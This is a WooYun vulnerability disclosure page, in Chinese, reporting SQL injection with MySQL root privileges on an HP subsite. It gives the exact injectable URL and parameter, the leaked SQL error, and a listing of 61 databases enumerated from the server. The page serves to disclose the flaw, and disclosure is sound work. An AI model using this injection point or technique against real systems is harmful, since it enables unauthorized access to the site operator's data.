当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-088985

漏洞标题：惠普某分站存在SQL注入漏洞(root权限)

相关厂商：惠普

漏洞作者： 猪猪侠

提交时间：2014-12-27 20:25

修复时间：2015-02-10 20:26

公开时间：2015-02-10 20:26

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-12-27： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-02-10： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

惠普某分站存在SQL注入漏洞(MYSQL root权限），一大堆数据库

详细说明：

http://success.hp.com/lexika/list.php?act=articlesearch&search[metainfo_id]=318432%27

Query: SELECT DISTINCT la.id, la.lexikon_id, la.art_id, la.title, la.preiskategorie_id, la.frei, la.speaking_url FROM lexikon_article la, lexikon_article_metainfo lam, lexikon l WHERE l.title like '%lexikon%' AND lam.metainfo_id = 318432\' AND l.recherche = 1 AND lam.article_id = la.id AND l.id = la.lexikon_id ORDER BY la.title_sort, la.title 
Fehler 1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' AND l.recherche = 1 AND lam.article_id = la.id AND l.id = la.lexikon_id ORD' at line 4 (db=0, current_db=)

漏洞证明：

available databases [61]:
[*] biospektrum
[*] bnt
[*] campbell
[*] chrono
[*] contoo2
[*] doi
[*] epoq
[*] facebook
[*] fischer_wa
[*] forum_contoo
[*] games
[*] holtzbrinck
[*] information_schema
[*] intern
[*] international
[*] kno_neues
[*] kosmo
[*] lifetype
[*] mantis
[*] meetings
[*] meetings_dgfi
[*] meetings_extern
[*] meetings_test
[*] mh_lt
[*] mhtest
[*] mysql
[*] nature
[*] naturejobs
[*] new.mysql
[*] new_mysql
[*] nl_sdwv
[*] nl_spotlight
[*] phpOpenTracker
[*] phprojekt
[*] purves
[*] sav
[*] sav2
[*] scilogs_com
[*] scilogs_com_dev
[*] scilogs_de
[*] scilogs_de_dev
[*] scilogs_de_dev_2
[*] scilogs_de_xxx
[*] scilogs_dev_fr
[*] scilogs_eu
[*] scilogs_fr
[*] scilogs_org
[*] sixcms72_wo
[*] sixcms72_wo_utf8
[*] spektrum
[*] spektrum6_mysql
[*] suche_log
[*] tech
[*] test
[*] test_u_f_journals
[*] umfragen
[*] vgwort
[*] wissenblog
[*] wissenschaft_extras
[*] wissenschaft_online
[*] zenit_mapping

修复方案：

过滤

版权声明：转载请注明来源 猪猪侠@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝